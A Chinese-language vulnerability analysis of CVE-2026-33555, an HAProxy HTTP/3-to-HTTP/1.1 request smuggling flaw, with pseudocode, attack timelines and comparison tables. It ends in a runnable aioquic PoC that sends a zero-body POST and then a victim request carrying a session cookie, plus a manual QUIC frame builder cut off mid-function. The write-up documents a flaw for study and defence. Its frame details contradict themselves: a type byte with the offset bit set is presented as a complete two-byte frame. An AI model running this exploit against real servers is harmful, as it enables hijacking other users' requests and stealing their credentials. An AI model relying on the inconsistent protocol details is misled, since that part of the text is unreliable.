一、漏洞概述

CVE编号:CVE-2026-33555

披露日期:2026年4月14日

影响组件:HAProxy HTTP/3 (QUIC) 反向代理实现

漏洞类型:跨协议请求走私(Cross-Protocol Request Smuggling)

CVSS 3.1 评分:9.8(Critical)

CVE-2026-33555 是 HAProxy 在处理 HTTP/3 协议时,由于 QUIC 传输层 FIN 信号与 HTTP/3 应用层 EOM(End of Message)语义边界混淆,导致的一种新型请求走私漏洞。与传统 HTTP/1.1 请求走私不同,该漏洞具有三个极具威胁性的特征:

攻击特征 说明
跨协议 攻击从 HTTP/3(前端)走私到 HTTP/1.1(后端),跨越了协议边界
跨用户 QUIC 多路复用天然支持流间隔离,但走私请求可影响不同用户的请求流
确定性 不依赖时序竞态(timing race),每次攻击均可稳定触发

影响范围:所有使用 HAProxy HTTP/3 反向代理功能且后端使用 HTTP/1.1 连接池的部署。具体而言,任何满足以下配置条件的 HAProxy 实例均受影响:

# 受影响的 HAProxy 配置示例
frontend fe_https
    bind *:8443 ssl alpn h3,http/1.1 crt /etc/haproxy/certs/
    mode http
    
backend be_app
    mode http
    server app1 10.0.0.10:8080  # HTTP/1.1 后端

当客户端通过 HTTP/3 (QUIC) 连接 HAProxy 前端,而 HAProxy 以 HTTP/1.1 与后端通信时,攻击者可以利用仅 2 字节 的 QUIC STREAM frame 实现请求走私,劫持其他用户的请求。


二、HTTP/3 与 QUIC 协议基础

2.1 QUIC STREAM Frame 格式详解

QUIC 协议中,应用数据通过 STREAM frame 传输。STREAM frame 的 Type 字节采用位编码,格式如下:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|1|0|0|r|r|F|L|O|  Type Byte 编码 (bits)                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Type 字节的位定义:

位 掩码 名称 含义
Bit 3 0x08 STREAM 固定为 1,标识 STREAM frame 类型
Bit 2 0x04 OFF 1 = 包含 Offset 字段;0 = Offset 隐含为 0
Bit 1 0x02 LEN 1 = 包含 Length 字段;0 = 数据延伸到包末尾
Bit 0 0x01 FIN 1 = 流终止信号,此 frame 后不再有数据

完整的 STREAM frame 结构:

STREAM Frame {
  Type (i) = 0x08..0x0f,    // 1 字节,含上述位编码
  Stream ID (i),             // 可变长整数,标识流
  [Offset (i)],              // 仅当 OFF=1 时存在
  [Length (i)],              // 仅当 LEN=1 时存在
  Data (..),                 // 应用数据,长度由 Length 或包剩余字节决定
}

2.2 0x0d 字节解析

攻击载荷的第一个字节 0x0d 的二进制分解:

0x0d = 0b0000_1101

  Bit 3 (0x08): STREAM = 1  → 这是 STREAM frame
  Bit 2 (0x04): OFF    = 1  → 包含 Offset 字段
  Bit 1 (0x02): LEN    = 0  → 不包含 Length 字段,数据延伸到包末尾
  Bit 0 (0x01): FIN    = 1  → 设置 FIN 标志,流终止

因此,0x0d 编码了一个 带 Offset、不带 Length、设置 FIN 的 STREAM frame。

当 LEN=0 时,Data 字段的长度等于 QUIC 包剩余字节数。如果 STREAM frame 后没有更多字节,Data 长度为 0 字节。结合 FIN=1,这构成了一个 零字节 FIN 信号——在 QUIC 传输层声明"此流已结束,不会再有数据"。

2.3 QUIC 层 FIN vs H3 层 EOM

理解本漏洞的核心在于区分两个层级的"完成"概念:

┌─────────────────────────────────────────────────────────────────┐
│                     QUIC 传输层 FIN                              │
│  语义:此流不会再有任何字节到达(传输层断言)                     │
│  作用:通知对端流的字节流已终结                                    │
│  类比:TCP FIN                                                    │
└─────────────────────────────────────────────────────────────────┘
                              ≠
┌─────────────────────────────────────────────────────────────────┐
│                    HTTP/3 应用层 EOM                             │
│  语义:所有 H3 frame 已完整解析,且 body 长度匹配                │
│        Content-Length(应用层断言)                               │
│  作用:通知 HTTP 层消息已完整,可以交付上层处理                    │
│  条件:HEADERS frame + DATA frame(s) 已收齐                      │
│        且 DATA 总长 == Content-Length                            │
└─────────────────────────────────────────────────────────────────┘

正常 HTTP/3 请求的消息完整路径:

  1. 客户端发送 HEADERS frame(含 :method、:path、content-length 等)
  2. 如果有 body,客户端发送一个或多个 DATA frame
  3. 最后一个 DATA frame 携带 QUIC FIN 信号
  4. 接收方确认 DATA 总长 == Content-Length 后,标记 H3 EOM

漏洞本质:HAProxy 将步骤 3 中的 QUIC FIN 信号直接等价于 H3 EOM,跳过了步骤 4 的校验。

2.4 协议层级结构图

+=====================================================================+
|                        QUIC Packet                                  |
|  [Header: 1-RTT/Initial]  [Protected Payload]                      |
|                                                                     |
|  +---------------------------------------------------------------+  |
|  |                    QUIC STREAM Frame                          |  |
|  |  +------+----------+--------+--------+---------------------+  |  |
|  |  | Type | StreamID | Offset | Length |      Data           |  |  |
|  |  | 0x0d | 0x00     | 0x00   |  (无)  |    (空/HTTP3帧)     |  |  |
|  |  +------+----------+--------+--------+---------------------+  |  |
|  +---------------------------------------------------------------+  |
|                              |                                      |
|                              | QUIC 解密/解帧                       |
|                              v                                      |
|  +---------------------------------------------------------------+  |
|  |                    HTTP/3 Frame Layer                         |  |
|  |  +----------+--------+-------------------+                     |  |
|  |  | H3 Type  | Length |     Payload       |                     |  |
|  |  | (HEADERS | varint | (QPACK 编码头)    |                     |  |
|  |  |  /DATA)  |        |  或 (body 数据)   |                     |  |
|  |  +----------+--------+-------------------+                     |  |
|  +---------------------------------------------------------------+  |
|                              |                                      |
|                              | H3 帧解析                           |
|                              v                                      |
|  +---------------------------------------------------------------+  |
|  |                    HTTP Message                               |  |
|  |  POST /api/upload HTTP/3                                      |  |
|  |  Host: example.com                                            |  |
|  |  Content-Length: 1024                                         |  |
|  |                                                               |  |
|  |  <body: 1024 bytes 或 0 bytes(攻击时)>                        |  |
|  +---------------------------------------------------------------+  |
+=====================================================================+

三、漏洞根因深度分析

3.1 攻击载荷

CVE-2026-33555 的攻击载荷极其精简——仅 2 字节:

+--------+--------+
| 0x0d   | 0x00   |
+--------+--------+
   |        |
   |        +-- Stream ID = 0 (客户端发起的首个双向流)
   |
   +-- STREAM frame 类型字节 (OFF=1, LEN=0, FIN=1)
       → 零字节 payload + FIN 信号

这 2 字节构成了一个完整的 QUIC STREAM frame:

  • Type = 0x0d(STREAM + OFF + FIN)
  • Stream ID = 0x00(流 0)
  • Offset 隐含为 0(或由后续 varint 编码,值为 0)
  • Data 长度 = 包剩余字节 = 0 字节
  • FIN = 1 → QUIC 层声明流结束

3.2 核心问题:两层"Done"概念错位

漏洞的根本原因在于 HAProxy 的 H3 解析层将 QUIC 的传输层"完成"信号(FIN)直接传播为 HTTP/3 应用层的"完成"信号(EOM),而没有进行必要的校验。

QUIC 层 FIN(传输层断言):

  • 含义:"此流不会再有字节到达"
  • 这是传输层的绝对承诺
  • 类似 TCP FIN

H3 层 EOM(应用层断言):

  • 含义:"HTTP 消息已完整,所有 H3 frame 解析完毕"
  • 要求:HEADERS frame 已解析 + 所有 DATA frame 已收齐 + body 总长 == Content-Length
  • 这是应用层的语义完整性声明

HAProxy 的错误:将 QUIC FIN 到达时,直接在 HTX(HAProxy Transaction 内部表示)上设置 HTX_FL_EOM flag,无论是否已收到匹配 Content-Length 的 body 数据。

3.3 HAProxy H3 解析路径代码分析

以下是 HAProxy 中相关代码路径的简化伪代码,展示了漏洞的触发机制:

/* ====================================================================
 * h3.c — H3 层 STREAM frame FIN 处理(漏洞代码路径)
 * ==================================================================== */

/* 当 QUIC 层收到 STREAM frame 的 FIN 信号时调用 */
void h3_stream_fin(struct qcs *qcs)
{
    struct h3s *h3s = qcs->ctx;
    struct htx *htx = qcs->htx;

    /* BUG: 直接将 QUIC 层 FIN 传播为 H3 层 EOM
     * 未检查以下条件:
     *   1. 是否已收到 HEADERS frame
     *   2. Content-Length 是否已声明
     *   3. 已收 body 字节数是否 == Content-Length
     */
    if (qcs->flags & QC_SF_FIN) {
        /* 直接设置 H3 层 EOM — 这是漏洞核心 */
        h3s->flags |= H3_SF_EOM;

        /* 在 HTX 中标记消息结束 */
        htx->tail = htx->head + htx->used;
        htx->flags |= HTX_FL_EOM;       /* ← 致命:EOM flag 被设置 */

        /* 唤醒 mux 层处理 */
        tasklet_wakeup(qcs->tasklet);
    }
}

/* ====================================================================
 * h3.c — body 大小校验(正常路径会经过,攻击路径绕过此函数)
 * ==================================================================== */

int h3_check_body_size(struct h3s *h3s, struct htx *htx,
                       uint64_t data_len)
{
    h3s->rx.body_len += data_len;

    /* 检查是否超过 Content-Length */
    if (h3s->cl_present && h3s->rx.body_len > h3s->cl) {
        /* body 超长 → 协议错误 */
        qcs_reset(qcs, H3_EXCESSIVE_LOAD);
        return -1;
    }

    /* 检查 body 是否已完整 */
    if (h3s->cl_present && h3s->rx.body_len == h3s->cl) {
        h3s->flags |= H3_SF_SIZE_KNOWN;
        /* 此时才能安全设置 EOM */
        return 0;
    }

    return 0;
}

/* ====================================================================
 * h3.c — DATA frame 解析(正常 body 传输路径)
 * ==================================================================== */

int h3_parse_data_frame(struct h3s *h3s, struct htx *htx,
                        const uint8_t *data, uint64_t len)
{
    int ret;

    /* 校验 body 大小 */
    ret = h3_check_body_size(h3s, htx, len);
    if (ret < 0)
        return -1;

    /* 将 body 数据写入 HTX */
    htx_add_data(htx, data, len);

    /* 只有在 body 完整时才设置 EOM */
    if (h3s->flags & H3_SF_SIZE_KNOWN) {
        htx->flags |= HTX_FL_EOM;
    }

    return 0;
}

3.4 后端转发路径

/* ====================================================================
 * mux_h1.c — HTTP/1.1 多路复用器(后端转发)
 * ==================================================================== */

/* mux_h1 信任 HTX 的 EOM flag 来决定请求是否完整 */
static int mux_h1_snd_buf(struct conn *conn, struct buffer *buf,
                          size_t count, int flags)
{
    struct h1s *h1s = conn->ctx;
    struct htx *htx = h1s->htx;
    struct htx_blk *blk;

    /* 遍历 HTX blocks 构造 HTTP/1.1 请求 */
    blk = htx_get_head_blk(htx);
    while (blk) {
        switch (blk->type) {
        case HTX_BLK_REQ_SL:
            /* 请求行: POST /api/upload HTTP/1.1 */
            h1s_build_req_line(h1s, blk);
            break;

        case HTX_BLK_HDR:
            /* 头部: Content-Length: 1024 */
            h1s_append_header(h1s, blk);
            break;

        case HTX_BLK_DATA:
            /* body 数据 */
            h1s_append_body(h1s, blk);
            break;

        case HTX_BLK_EOM:
            /* EOM marker — 信任此 flag 认为请求完整 */
            break;

        default:
            break;
        }
        blk = htx_get_next_blk(htx, blk);
    }

    /* 如果 HTX 设置了 EOM flag,直接发送请求到后端 */
    if (htx->flags & HTX_FL_EOM) {
        /* BUG: Content-Length: 1024,但 body 为空
         * → 后端收到 Content-Length: 1024 的请求
         * → 后端等待 1024 字节 body
         * → 下一个用户的请求被当作 body 消费
         */
        h1s->flags |= H1S_F_REQ_END;
        co_send(conn, buf, h1s->obuf);
    }

    return 0;
}

3.5 完整攻击链

攻击者                     HAProxy                          后端 (HTTP/1.1)
  |                          |                                  |
  |  1. H3 HEADERS frame     |                                  |
  |  POST /api/upload        |                                  |
  |  Content-Length: 1024    |                                  |
  |  (无 DATA frame)         |                                  |
  |------------------------->|                                  |
  |                          |                                  |
  |  2. QUIC STREAM frame    |                                  |
  |  0x0d 0x00               |                                  |
  |  (零字节 + FIN)           |                                  |
  |------------------------->|                                  |
  |                          |                                  |
  |                          |  QUIC 层收到 FIN                 |
  |                          |  ┌──────────────────────────┐    |
  |                          |  │ h3_stream_fin() 被调用    │    |
  |                          |  │                          │    |
  |                          |  │ BUG: 直接设置 HTX_FL_EOM │    |
  |                          |  │ 未调用 h3_check_body_size│    |
  |                          |  │ body_len=0 ≠ CL=1024     │    |
  |                          |  └──────────────────────────┘    |
  |                          |                                  |
  |                          |  3. HTX 传递到 mux_h1            |
  |                          |  ┌──────────────────────────┐    |
  |                          |  │ mux_h1_snd_buf()         │    |
  |                          |  │                          │    |
  |                          |  │ 检查 HTX_FL_EOM = 1      │    |
  |                          |  │ → 认为请求完整            │    |
  |                          |  │ → 以零 body 转发         │    |
  |                          |  │ Content-Length: 1024     │    |
  |                          |  └──────────────────────────┘    |
  |                          |                                  |
  |                          |  POST /api/upload HTTP/1.1       |
  |                          |  Content-Length: 1024            |
  |                          |  (body: 空!)                     |
  |                          |--------------------------------->|
  |                          |                                  |
  |                          |                          后端等待 |
  |                          |                          1024字节 |
  |                          |                          body...  |
  |                          |                                  |
  |                          |                                  |
==== 此时,后端连接处于"等待 body"状态 ==========================
  |                          |                                  |
  |                          |                                  |
用户B  GET /secret            |                                  |
  |------------------------->|                                  |
  |                          |  mux_h1 复用后端连接             |
  |                          |  GET /secret                     |
  |                          |--------------------------------->|
  |                          |                                  |
  |                          |                  后端将前 1024 字节
  |                          |                  当作用户A的body |
  |                          |                  → GET /secret 被吞 |
  |                          |                                  |
  |                          |                  剩余字节成为新的
  |                          |                  请求前缀...       |
  |                          |                                  |
  |  HTTP/1.1 403 Forbidden  |                                  |
  |<-------------------------------------------|                 |
  |  (用户B 收到了非预期响应)  |                                  |
  |                          |                                  |

四、校验器绕过分析

4.1 h3_check_body_size() 的设计意图

HAProxy 在 H3 解析层设计了 h3_check_body_size() 函数,用于校验接收到的 body 大小是否与 Content-Length 声明一致。该函数在正常请求路径中充当安全护栏,防止 body 过长或过短。

4.2 正常请求路径 vs 攻击路径

==================== 正常请求路径 ====================

客户端发送:
  HEADERS frame (Content-Length: 1024)
  DATA frame (1024 bytes body) + QUIC FIN

解析流程:
  1. h3_parse_headers()     → 解析头部,记录 CL=1024
  2. h3_parse_data_frame()  → 解析 DATA frame
     └─ h3_check_body_size()
        ├─ body_len = 1024
        ├─ CL = 1024
        ├─ body_len == CL → 设置 H3_SF_SIZE_KNOWN
        └─ 返回 0 (校验通过)
  3. h3_parse_data_frame()  → 检测到 SIZE_KNOWN
     └─ 设置 HTX_FL_EOM   ← 正常设置 EOM
  4. QUIC FIN 到达
     └─ h3_stream_fin()    → EOM 已设置,无额外操作

结果: body_len == CL,请求正确转发 ✓

==================== 攻击路径(绕过) ====================

攻击者发送:
  HEADERS frame (Content-Length: 1024)
  ← 不发送 DATA frame
  QUIC STREAM frame (0x0d 0x00, 零字节 + FIN)

解析流程:
  1. h3_parse_headers()     → 解析头部,记录 CL=1024
  2. ← 无 DATA frame,h3_parse_data_frame() 从未被调用
     └─ h3_check_body_size() 从未被调用!
        (body_len = 0, CL = 1024, 但校验未执行)
  3. QUIC FIN 到达 (零字节 STREAM frame)
     └─ h3_stream_fin()    → 直接设置 HTX_FL_EOM
        ↑ 未检查 body_len == CL
        ↑ 未经过任何 body 校验

结果: body_len(0) ≠ CL(1024),但 EOM 已设置 → 请求走私! ✗

4.3 分支差异的代码级分析

以下是正常路径与攻击路径在代码分支层面的差异对比:

/* ====================================================================
 * 代码分支对比:正常路径 vs 攻击路径
 * ==================================================================== */

/* ---- 正常路径:DATA frame 携带 FIN ---- */
/* 客户端: HEADERS + DATA(1024B, FIN) */

void h3_data_received(struct qcs *qcs, const uint8_t *data,
                      size_t len, int fin)
{
    struct h3s *h3s = qcs->ctx;

    /* 路径 A: 进入 DATA frame 解析 */
    h3_parse_data_frame(h3s, qcs->htx, data, len);
    /* → h3_check_body_size() 被调用
     * → body_len = 1024 == CL = 1024
     * → H3_SF_SIZE_KNOWN 被设置
     * → HTX_FL_EOM 被设置 (在 parse_data_frame 内)
     */

    if (fin) {
        /* FIN 到达,但 EOM 已在 parse_data_frame 中设置 */
        h3_stream_fin(qcs);
        /* → h3_stream_fin() 检查发现 EOM 已设置
         * → 无重复操作
         */
    }
}

/* ---- 攻击路径:standalone FIN (零字节 STREAM) ---- */
/* 客户端: HEADERS + STREAM(0B, FIN) — 无 DATA frame */

void h3_fin_received(struct qcs *qcs)
{
    struct h3s *h3s = qcs->ctx;

    /* 路径 B: 无 DATA frame,直接收到 FIN */
    /* h3_parse_data_frame() 从未被调用!
     * h3_check_body_size() 从未被调用!
     * H3_SF_SIZE_KNOWN 从未被设置!
     * body_len = 0 ≠ CL = 1024 (但无人检查)
     */

    h3_stream_fin(qcs);
    /* → h3_stream_fin() 直接设置 HTX_FL_EOM
     * → 未校验 body 完整性
     * → EOM flag 被错误设置
     */
}

4.4 绕过机制总结

检查点 正常路径 攻击路径 绕过原因
h3_parse_headers() 被调用,记录 CL=1024 被调用,记录 CL=1024 两条路径均经过
h3_parse_data_frame() 被调用,解析 body 未被调用 攻击者不发送 DATA frame
h3_check_body_size() 被调用,校验 body_len==CL 未被调用 随 DATA frame 解析跳过
H3_SF_SIZE_KNOWN 被设置 未被设置 校验函数未执行
h3_stream_fin() EOM 已在之前设置 直接设置 EOM FIN 处理函数无条件设置
HTX_FL_EOM 正确设置(body 完整) 错误设置(body 为空) 核心漏洞点

五、攻击场景与影响

5.1 场景一:跨用户请求劫持

攻击者(用户A)发送携带 Content-Length 但零 body 的恶意请求。后端在等待 body 时,用户B 的请求被复用到同一后端连接,其前 1024 字节被当作用户A 的 body 消费。

时间线:
  T0  用户A 发送 POST /api/upload (CL:1024, 零body)
  T1  HAProxy 转发请求到后端连接 #1 (CL:1024, body空)
  T2  后端连接 #1 进入"等待 1024 字节 body"状态
  T3  用户B 发送 GET /account/secret (HAProxy 分配后端连接 #1)
  T4  GET /account/secret 的前 1024 字节被当作用户A 的 body
  T5  用户B 的请求被劫持/丢弃,用户B 收到非预期响应

攻击者收益:
  - 如果用户B 的请求包含 Session Cookie / Auth Token
    → 这些凭证被包含在"body"中,可能泄露给攻击者
    (如果后端将 body 回显或存储)
  - 用户B 的请求被篡改,可能导致未授权操作

5.2 场景二:缓存投毒

当 HAProxy 与后端之间存在缓存层(如 Varnish、CDN)时,走私的请求可能被缓存,影响后续所有命中该缓存的用户。

攻击者 → HAProxy(H3) → [缓存层] → 后端(H1)

  T0  攻击者发送: POST /api/upload (CL:1024, 零body)
  T1  走私触发: 后端看到的请求为:
      POST /api/upload HTTP/1.1
      Content-Length: 1024

      GET /static/home.html HTTP/1.1     ← 用户B 的请求被吞
      Host: victim.com

  T2  后端响应 /static/home.html 的请求
  T3  缓存层缓存该响应,key = POST /api/upload
  T4  后续所有 POST /api/upload 请求命中缓存 → 返回错误内容

5.3 场景三:前端防火墙/WAF 绕过

HAProxy 前方的 WAF 通常在 HTTP/3 层面检查请求。由于攻击载荷仅是 QUIC 层的零字节 FIN frame,WAF 的 HTTP 请求解析器看到的是一个正常的、带 Content-Length 的 POST 请求,不会检测到任何异常。

                    WAF 检查点
                    ↓
攻击者 → [WAF] → HAProxy(H3) → 后端(H1)

WAF 视角:
  POST /api/upload HTTP/3
  Content-Length: 1024
  Content-Type: application/json
  
  (看起来完全正常的请求 — 无恶意特征)
  (WAF 放行 ✓)

HAProxy 视角:
  收到 HEADERS + 零字节 FIN
  → 错误设置 EOM
  → 以零 body 转发 CL:1024 请求

后端视角:
  POST /api/upload HTTP/1.1
  Content-Length: 1024
  (等待 1024 字节 body...)
  → 下一个请求被吞

5.4 与传统 HTTP/1.1 CL.TE 走私的对比

维度 HTTP/1.1 CL.TE 走私 HTTP/3 零字节 QUIC 走私 (CVE-2026-33555)
漏洞层级 应用层(HTTP/1.1 解析差异) 传输层 + 应用层(QUIC FIN 与 H3 EOM 语义错位)
攻击载荷 需完整 HTTP 请求头 + CL/TE 头部组合 仅 2 字节 STREAM frame(0x0d 0x00)
跨协议 否(同协议 HTTP/1.1 内部) 是(HTTP/3 前端 → HTTP/1.1 后端)
跨用户 需共享 TCP 连接(连接池复用) QUIC 多路复用天然跨流,影响范围更广
时序依赖 高(依赖 pipeline 请求时序窗口) 无(确定性触发,无竞态条件)
检测难度 中(可检测 CL/TE 矛盾头部) 高(零字节载荷,无异常头部,WAF 难以检测)
攻击稳定性 依赖时序,可能失败 确定性,每次稳定触发
缓解措施 禁用 keep-alive / 后端规范化头部 H3/H1 连接池隔离 / EOM 语义修正
协议设计根因 CL/TE 头部语义冲突 传输层 FIN 与应用层 EOM 概念混淆

六、PoC 复现

6.1 环境搭建

受影响的 HAProxy 配置 (/etc/haproxy/haproxy.cfg):

global
    log stdout format raw local0
    daemon

defaults
    log global
    mode http
    option httplog
    timeout connect 5000ms
    timeout client 50000ms
    timeout server 50000ms

frontend fe_https
    bind *:8443 ssl crt /etc/haproxy/cert.pem alpn h3,http/1.1
    mode http
    default_backend be_app

backend be_app
    mode http
    option httplog
    # 后端使用 HTTP/1.1 — 这是触发跨协议走私的必要条件
    server app1 127.0.0.1:8080 check

测试后端(简易 Python HTTP 服务器):

#!/usr/bin/env python3
"""测试后端 — 用于观察请求走私效果"""
import http.server
import socketserver
import sys

class SmuggleDetectionHandler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        cl = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(cl)
        print(f"\n[POST] Path: {self.path}")
        print(f"[POST] Content-Length: {cl}")
        print(f"[POST] Actual body length: {len(body)}")
        print(f"[POST] Body (first 200B): {body[:200]}")
        
        if len(body) < cl:
            print(f"[!!!] BODY SHORTAGE: expected {cl}, got {len(body)}")
            print(f"[!!!] LIKELY REQUEST SMUGGLING DETECTED!")
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'{"status":"ok"}')

    def do_GET(self):
        print(f"\n[GET] Path: {self.path}")
        print(f"[GET] Headers: {dict(self.headers)}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'GET response')

    def log_message(self, format, *args):
        pass  # 抑制默认日志

if __name__ == '__main__':
    PORT = 8080
    with socketserver.TCPServer(("", PORT), SmuggleDetectionHandler) as httpd:
        print(f"[*] Test backend on :{PORT}")
        httpd.serve_forever()

6.2 攻击脚本

以下 PoC 使用 Python aioquic 库构造攻击载荷:

#!/usr/bin/env python3
"""
CVE-2026-33555 PoC
HAProxy HTTP/3 零字节 QUIC 包跨协议请求走私

攻击原理:
  1. 通过 HTTP/3 发送带 Content-Length 的 POST 请求
  2. 不发送 DATA frame (body)
  3. 发送零字节 QUIC STREAM frame 携带 FIN 信号
  4. HAProxy 错误地将 QUIC FIN 解释为 H3 EOM
  5. 以零 body 转发 CL:1024 请求到后端
  6. 后端等待 1024 字节 → 下一个请求被当作 body 消费

环境要求:
  pip install aioquic
  HAProxy 配置 HTTP/3 (QUIC) 前端 + HTTP/1.1 后端
"""

import asyncio
import ssl
import struct
import logging
from typing import Optional

from aioquic.asyncio.client import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.h3.connection import H3Connection
from aioquic.h3.events import H3Event, HeadersReceived, DataReceived
from aioquic.quic.configuration import QuicConfiguration

logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')
logger = logging.getLogger(__name__)


# ============================================================
# QUIC STREAM frame 类型字节编码
# ============================================================
# Type = 0x08 (STREAM) | 0x04 (OFF) | 0x01 (FIN) = 0x0d
# LEN bit (0x02) 未设置 → Data 长度 = 包剩余字节 = 0
STREAM_TYPE_OFF_FIN = 0x0d  # OFF=1, LEN=0, FIN=1

# Stream ID = 0 (客户端发起的首个双向流)
STREAM_ID_ZERO = 0x00

# 攻击载荷: 零字节 payload + FIN 信号
# 这两个字节构成一个完整的 QUIC STREAM frame:
#   - Type byte: 0x0d (STREAM + OFF + FIN)
#   - Stream ID: 0x00
#   - Data: 空 (LEN=0, 延伸到包末尾, 无剩余字节)
ZERO_BYTE_FIN_FRAME = bytes([STREAM_TYPE_OFF_FIN, STREAM_ID_ZERO])


class H3SmugglingClient:
    """HTTP/3 请求走私攻击客户端"""

    def __init__(self, host: str, port: int, target_path: str = "/api/upload"):
        self.host = host
        self.port = port
        self.target_path = target_path
        self._h3_conn: Optional[H3Connection] = None
        self._response_received = asyncio.Event()

    async def send_smuggling_request(self, fake_cl: int = 1024):
        """
        发送恶意 HTTP/3 请求:
        - HEADERS frame: 声明 Content-Length 但不发送 body
        - 零字节 STREAM frame 携带 FIN
        """
        config = QuicConfiguration(
            is_client=True,
            alpn_protocols=["h3"],
            max_idle_timeout=10000,
        )
        # 测试环境: 禁用证书验证
        config.load_verify_locations(cafile="ca.pem")
        config.verify_mode = ssl.CERT_NONE

        logger.info(f"连接 HAProxy HTTP/3: {self.host}:{self.port}")

        async with connect(
            self.host,
            self.port,
            configuration=config,
            create_protocol=QuicConnectionProtocol,
        ) as protocol:
            # 初始化 H3 连接
            self._h3_conn = H3Connection(protocol._quic)

            # 获取可用流 ID
            stream_id = self._h3_conn.get_next_available_stream_id()
            logger.info(f"使用 QUIC Stream ID: {stream_id}")

            # ============================================================
            # 步骤 1: 发送 HEADERS frame
            # ============================================================
            # 构造恶意请求头 — 声明 Content-Length 但不打算发送 body
            headers = [
                (b":method", b"POST"),
                (b":path", self.target_path.encode()),
                (b":scheme", b"https"),
                (b":authority", f"{self.host}:{self.port}".encode()),
                (b"content-length", str(fake_cl).encode()),
                (b"content-type", b"application/json"),
                (b"user-agent", b"CVE-2026-33555-PoC"),
            ]

            # 发送 HEADERS frame
            # end_stream=False → 不结束流 (还要发"body"... 但实际上不发)
            self._h3_conn.send_headers(
                stream_id=stream_id,
                headers=headers,
                end_stream=False,
            )
            logger.info(f"HEADERS frame 已发送: POST {self.target_path}")
            logger.info(f"声明 Content-Length: {fake_cl} (但不会发送 body)")

            # ============================================================
            # 步骤 2: 发送零字节 FIN STREAM frame
            # ============================================================
            # 这是攻击的核心:
            #
            # 正常 HTTP/3 请求应在此处发送:
            #   DATA frame (body 数据) + end_stream=True
            #
            # 攻击请求:
            #   不发送 DATA frame
            #   直接发送 end_stream=True (零字节 STREAM frame)
            #
            # 底层行为:
            #   aioquic 发送一个 Data 长度为 0 的 STREAM frame
            #   Type byte 包含 FIN=1
            #   等效于手动构造 0x0d 0x00 载荷
            #
            # HAProxy 收到此 frame 后:
            #   QUIC 层: 流已 FIN (不会再有数据)
            #   H3 层:   BUG — 直接设置 HTX_FL_EOM
            #            未校验 body_len(0) == Content-Length(fake_cl)
            #   mux_h1:  信任 EOM flag → 以零 body 转发 CL:fake_cl 请求
            #   后端:    等待 fake_cl 字节 body → 走私发生!

            protocol._quic.send_stream_data(
                stream_id=stream_id,
                data=b"",             # 零字节 payload
                end_stream=True,      # QUIC FIN 信号
            )
            logger.info("零字节 FIN STREAM frame 已发送 (0x0d 0x00)")
            logger.info("攻击载荷已注入,等待 HAProxy 处理...")

            # ============================================================
            # 步骤 3: 等待并观察
            # ============================================================
            # HAProxy 会将 CL:fake_cl 的请求以零 body 转发到后端
            # 后端进入"等待 body"状态
            # 下一个用户的请求将被当作 body 消费

            await asyncio.sleep(3)

            logger.info("=" * 60)
            logger.info("攻击分析:")
            logger.info(f"  - 声明 Content-Length: {fake_cl}")
            logger.info(f"  - 实际发送 body: 0 字节")
            logger.info(f"  - HAProxy 应以零 body 转发到后端")
            logger.info(f"  - 后端等待 {fake_cl} 字节 body")
            logger.info(f"  - 下一个用户的请求前 {fake_cl} 字节将被吞")
            logger.info("=" * 60)

            # 关闭连接
            protocol._quic.close(error_code=0)

    async def send_normal_request(self):
        """发送正常 HTTP/3 请求 — 用于验证走私效果"""
        config = QuicConfiguration(
            is_client=True,
            alpn_protocols=["h3"],
        )
        config.verify_mode = ssl.CERT_NONE

        async with connect(
            self.host,
            self.port,
            configuration=config,
            create_protocol=QuicConnectionProtocol,
        ) as protocol:
            self._h3_conn = H3Connection(protocol._quic)
            stream_id = self._h3_conn.get_next_available_stream_id()

            # 这个请求的前 fake_cl 字节会被当作用户A的 body!
            headers = [
                (b":method", b"GET"),
                (b":path", b"/account/secret"),
                (b":scheme", b"https"),
                (b":authority", f"{self.host}:{self.port}".encode()),
                (b"cookie", b"session=victim_user_session_token_abc123"),
            ]

            self._h3_conn.send_headers(
                stream_id=stream_id,
                headers=headers,
                end_stream=True,  # 正常请求: GET + FIN
            )
            logger.info("正常 GET /account/secret 已发送 (将被走私吞掉)")

            await asyncio.sleep(2)
            protocol._quic.close(error_code=0)


async def main():
    """
    攻击流程:
    1. 发送恶意 HTTP/3 请求 (CL:1024, 零body + FIN)
    2. 短暂等待 HAProxy 转发到后端
    3. 发送正常 GET 请求 (前 1024 字节将被当作 body 消费)
    """
    client = H3SmugglingClient(
        host="127.0.0.1",
        port=8443,
        target_path="/api/upload",
    )

    logger.info("=" * 60)
    logger.info("CVE-2026-33555 PoC — HAProxy HTTP/3 请求走私")
    logger.info("=" * 60)

    # 步骤 1: 发送恶意请求
    await client.send_smuggling_request(fake_cl=1024)

    # 步骤 2: 等待 HAProxy 转发到后端
    await asyncio.sleep(1)

    # 步骤 3: 发送正常请求 (将被走私)
    await client.send_normal_request()

    logger.info("PoC 执行完毕 — 检查后端日志确认走私效果")


if __name__ == "__main__":
    asyncio.run(main())

6.3 手动构造 QUIC STREAM frame

如果需要绕过 aioquic 的高层抽象,手动构造原始 QUIC STREAM frame:

import struct

def build_zero_byte_fin_stream_frame(stream_id: int = 0) -> bytes:
    """
    手动构造零字节 FIN 的 QUIC STREAM frame

    格式:
      Type(1B) | Stream ID(varint) | [Offset(varint)] | Data(0B)

    当 OFF=1 且 LEN=0 时:
      - Type = 0x0d
      - Stream ID = varint(stream_id)
      - Offset = varint(0) = 0x00
      - Data = 空 (延伸到包末尾, 无剩余字节)
    """
    # Type byte: STREAM(0x08) | OFF(0x04) | FIN(0x01) = 0x0d
    type_byte = 0x08 | 0x04 | 0x01  # = 0x0d

    # QUIC varint 编码 (简化: 假设值 < 64, 单字节编码)
    def encode_varint(value: int) -> bytes:
        if value < 64:
            return bytes([value])
        elif value < 16384:
            return struct.pack(">H", value | 0x4000)
        # ... 更大值的处理省略

    frame = bytearray()
    frame.append(type_byte)                        # Type: 0x0d
